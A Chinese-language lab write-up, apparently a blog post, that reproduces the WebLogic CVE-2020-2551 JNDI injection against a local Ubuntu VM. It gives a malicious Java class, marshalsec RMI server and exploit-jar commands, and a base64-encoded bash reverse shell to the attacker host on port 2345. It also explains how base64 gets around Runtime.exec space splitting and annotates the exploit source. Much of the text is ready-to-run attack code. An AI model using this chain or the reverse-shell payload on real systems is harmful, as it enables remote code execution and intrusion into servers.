weblogiccve-2020-2551
weblogic:cve-2020-2551
环境准备
靶机:ubuntu-22.04.3
ip:192.168.57.134
weblogic10.3.6+jdk1.6
攻击机器:win10
ip:192.168.57.1
jdk1.8+下载好的需要的jar包

exp代码:
import java.io.IOException;
public class exp {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"curl", "http://192.168.57.1/success"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
验证过程
先编译exp.java文件:javac exp.java -source 1.6 -target 1.6
win10上建一个rmi服务器:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.57.1/#exp" 1099
使用marshalsec-0.0.3-SNAPSHOT-all.jar这个包里面的marshalsec.jndi.RMIRefServer类在本地1099端口启动一个rmi服务器
win10上建一个web服务器:python3 -m http.server 80
让ubuntu远程调用win10的rmi服务器的exp.class,然后执行里面的命令java -jar weblogic_CVE_2020_2551.jar 192.168.57.134 7001 rmi://192.168.57.1:1099/exp
注意:上述命令都在一个文件夹执行(就是利用环境的那个文件夹)
观察python开启的web服务器的日志:

可见调用了exp.class并get访问web服务器的success,但由于那个目录没有success所有返回404(验证成功)
反弹shell
改exp.java中的payload(注意一定要使用base64的方式,不可以直接用明文弹shell命令)
import java.io.IOException;
public class exp {
static{
try {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","{echo,L2Jpbi9iYXNoIC1pID4mL2Rldi90Y3AvMTkyLjE2OC41Ny4xLzIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
执行命令:java -jar weblogic_CVE_2020_2551.jar 192.168.57.134 7001 rmi://192.168.57.1:1099/exp
win10上的rmi服务器显示:

win10上的web服务器显示:

win10 nc监听的2345端口显示:

可见成功反弹shell
踩坑
这里反弹shell踩坑主要就是一开始是直接
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","/bin/bash -i >& /dev/tcp/192.168.57.1/2345 0>&1"})
没有采用上面base64的方式导致一直反弹shell不成功
为什么要base64命令
看了一些别人的文章是这样解释的(具体不知道了)
我们看为什么这里要用base64的方式反弹shell
先看java的exec方法:
public Process exec(String command)
public Process exec(String command, String[] envp)
public Process exec(String command, String[] envp, File dir)
public Process exec(String cmdarray[])
public Process exec(String[] cmdarray, String[] envp)
public Process exec(String[] cmdarray, String[] envp, File dir)
没有String[] envp、File dir限制的是exec(String command)和exec(String cmdarray[])
而它们的代码是:
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
它们都会调用exec(String command, String[] envp, File dir)
来看看exec(String command,String[] envp,File dir)
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");
StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}
这里的StringTokenizer会对命令进行分割,java以空格、制表符(\t)、换行符(\n)、回车符(\r)进行分割
所以直接明文有空格不行,用base64绕过空格限制
因为我本机jdk是1.8,ubuntu是1.6,一开始以为是jdk版本问题,所以又下了个1.6的jdk到本机,后来测试发现与这个无关
渗透测试
端口扫描,7001端口就是weblogic服务

服务版本扫描

简单的漏洞检测

可以看到40187端口是rmi服务,但是简单的漏洞扫描没有扫除cve-2020-2551
网上找一个脚本测试一下有没有该漏洞:https://github.com/topics/cve-2020-2551

让手动验证一下
分析漏洞
先看一下payload
JNDI:在 Java 程序中,JNDI 上下文用于查找和绑定对象
主要就是如下这一块:指定对应的参数就会传入调用的rmi服务器的指定文件给目标,由于是使用iiop协议会进行反序列化,进而目标会执行恶意文件(执行其中命令)
String ip = args[0];//传入参数:有weblogic服务的ip
String port = args[1];//传入参数:7001端口(weblogic端口)
String rmiurl = args[2];//传入参数:要加载的rmi服务器的恶意文件
String rhost = String.format("iiop://%s:%s", ip, port);//iiop协议是一个用于远程方法调用的协议,iiop协议传输输时会自动进行序列化和反序列化
Hashtable<String, String> env = new Hashtable();//实例化一个hashtable对象
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", rhost);//散列表对象设置了java.naming.factory.initial和java.naming.provider.url两个属性的值,这两个属性是JNDI的标准属性分别表示工厂类名和JNDI提供者的url
Context context = new InitialContext(env);//该对象用于创建jndi上下文
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();//该对象用用于管理分布式服务
jtaTransactionManager.setUserTransactionName(rmiurl);//指定rmi事务名称,这里参数可控加载远程文件,导致JNDI注入,这里的rmiurl指向自己开的一个rmi服务器的恶意文件
Remote remote = (Remote)createMemoitizedProxy(createMap("pwned" + System.nanoTime(), jtaTransactionManager), Remote.class);//创建一个代理,实现远程接口
context.rebind("Y4er" + System.nanoTime(), remote);
public static <T> T createMemoitizedProxy(Map<String, Object> map, Class<T> iface, Class<?>... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}

浙公网安备 33010602011771号